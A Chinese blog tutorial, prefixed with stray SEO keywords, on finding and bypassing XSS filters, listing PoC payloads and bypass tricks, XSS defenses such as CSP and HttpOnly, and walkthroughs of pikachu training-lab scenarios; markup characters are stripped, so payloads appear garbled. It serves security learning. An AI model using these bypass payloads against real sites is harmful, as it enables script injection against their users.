大型门户网站建设效果,谷歌seo网站怎么做产品分类,东莞网站建设推广哪家好,怎么对企业进行网站建设★★实战前置声明★★ 文章中涉及的程序(方法)可能带有攻击性#xff0c;仅供安全研究与学习之用#xff0c;读者将其信息做其他用途#xff0c;由用户承担全部法律及连带责任#xff0c;文章作者不承担任何法律及连带责任。 1、XSS漏洞挖掘与绕过
1.1、XSS漏洞挖掘
数据… ★★实战前置声明★★ 文章中涉及的程序(方法)可能带有攻击性仅供安全研究与学习之用读者将其信息做其他用途由用户承担全部法律及连带责任文章作者不承担任何法律及连带责任。 1、XSS漏洞挖掘与绕过
1.1、XSS漏洞挖掘
数据交互(输入/输出)的地方最容易产生跨站脚本最重要的是考虑输入、输出在什么地方。一般常会对网站的输入框、URL参数、COOKIE、POST表单、HTTP头内容进行测试。
1.2、手工测试XSS步骤
1、找到测试点比如搜索框、留言板。
2、根据测试流程首先实验一些特殊符号的输入发现可以正常输出说明后端并没有进行相关的过滤。比如?/6666
3、如果有过滤则进行相关的绕过。
1.3、XSS常见POC
常见XSS语句script标签
scriptalert(1)/script
script srchttp://baidu.cn/xss/xss.js/script
scriptalert(1)/script常见XSS语句img标签
img srcx onerroralert(/xss/)
img srcjavascript:alert(1) //版本E7.0|IE6.0才能执行
img src# onmouseoveralert(1)常见XSS语句a标签 a hrefjavascript:alert(xss) xss/aa href οnclickalert(1) xss/a1.4、XSS漏洞绕过方法
// 1.大小写绕过
ScRiPtalert(1)/ScRiPt
// 2.双写绕过
scscriptriptalert(/xss/)/script
// 3.反引号绕过绕过单双引号的过滤
// 4.关闭标签利用关闭标签scriptalert(1)/script
// 5.超链接标签a href 1 / a
// 6.图片链接绕过img src1 onerroralert(1)
// 7.编码绕过
-- 八进制、十进制、十六进制编码、html实体编码、url编码、base64等
// 8.空格、回车、换行符、tab、混淆2、XSS漏洞防御
2.1、CSP内容安全策略
CSP全称Content Security Policy内容安全策略禁止加载外域代码防止复杂的攻击逻辑禁止外域提交网站被攻击后用户数据不会泄露到外域禁止内联脚本执行规则较严格禁止未授权的脚本执行。
2.2、设置HttpOnly
通过设置HttpOnly防止cookie被窃取
2.3、输入输出检查
前端js和后端(php)完善的过滤机制输入验证和输出编码。也可以做硬件防护WAF和数据库安全等。 转成lt;转成gt; 转成amp 转成quot转成#392.4、白名单或者黑名单
白名单验证检查用户提交的数据只接受指定长度范围内适当格式和预期字符的输入其余一律过滤。
黑名单验证过滤包含XSS代码特征的内容比如、 、script、#等
3、pikachu靶场4个场景实验
3.0、总体思路说明
先随便填写提交看界面展示数据右击查看页面源码数据是与回显一样然后根据数据结构确定构建poc提交验证。
测试验证内容
?/66663.1、xss之过滤
3.1.1、正常操作
输入’?/6666发现显示有点奇怪按F12看源码发现内容回显被单引号包起来界面显示如下 3.1.2、查看源码
输入如下内容按F2看源码发现输入的内容script标签的内容全部被过滤掉了
我测试一下scriptalert(1)/script3.1.3、确定攻击poc
以下是验证通过的poc
ScRiPtalert(1)/ScRiPt
svg onloadalert(1)
body onloadalert(1)
input typeimage src1 onerroralert(1)3.2、xss之htmlspecialchars
3.2.1、正常操作
输入’?/6666界面显示如下 3.2.2、查看源码
查看源码发现输入的内容是填充在a标签的href和标签内有被编码过的href是用单引号的。 3.2.3、确定攻击poc
攻击poc就可以采用a标签弹窗方式的语句了
a hrefjavascript:alert(xss) xss/a注意只取href里面的部分且alert()的内容需要用双引号或者用数字的方式。
验证成功的poc
javascript:alert(test)
javascript:alert(123)3.3、xss之href输出
3.3.1、正常操作
输入’?/6666界面显示如下 3.3.2、查看源码
查看源码发现输入的内容是填充在a标签的href内没有被编码过的。
3.3.3、确定攻击poc
攻击poc就可以采用a标签弹窗方式的语句了
a hrefjavascript:alert(xss) xss/a注意只取href里面的部分且alert()的内容用单/双引号都可或者用数字的方式。
验证成功的poc
javascript:alert(test)
javascript:alert(test)
javascript:alert(123)3.4、xss之js输出
3.4.1、正常操作
输入’?/6666不显示任何东西换成123尝试界面显示如下 3.4.2、查看源码
根据上面显示的内容定位到p标签有一个id“fromjs”尝试搜索关键字fromjs发现页面有一段javascript代码因此采用尝试闭合标签的方式。 3.4.3、确定攻击poc
验证成功的poc
/scriptscriptalert(1)/script
/scriptsvg onloadalert(1)
/scriptimg src1 onerroralert(1)4、总结
本文是Web漏洞-XSS攻击的第三篇至此XSS攻击相关内容就告一段落。当时在做pikachu靶场实验【XSS之js输出】时完全没有头绪前面9个实验的POC都无效后来问了我的老师给我提示查看源码了尝试闭合标签的方式就瞬间明白了。有时知道一个知识点到实际运用还是会懵因此需要多练。与大家共勉。
后面会有CSRF、SSRFSQL注入等内容的分享其中SQL注入内容会比较多。还有一些PHPPython编程的基础知识如果大家感兴趣的话可以留言反馈我再整理出来分享也可以。
5、资料获取
靶场环境搭建请参考《靶场环境搭建【XP、pikachu、dvwa、sqli-labs】》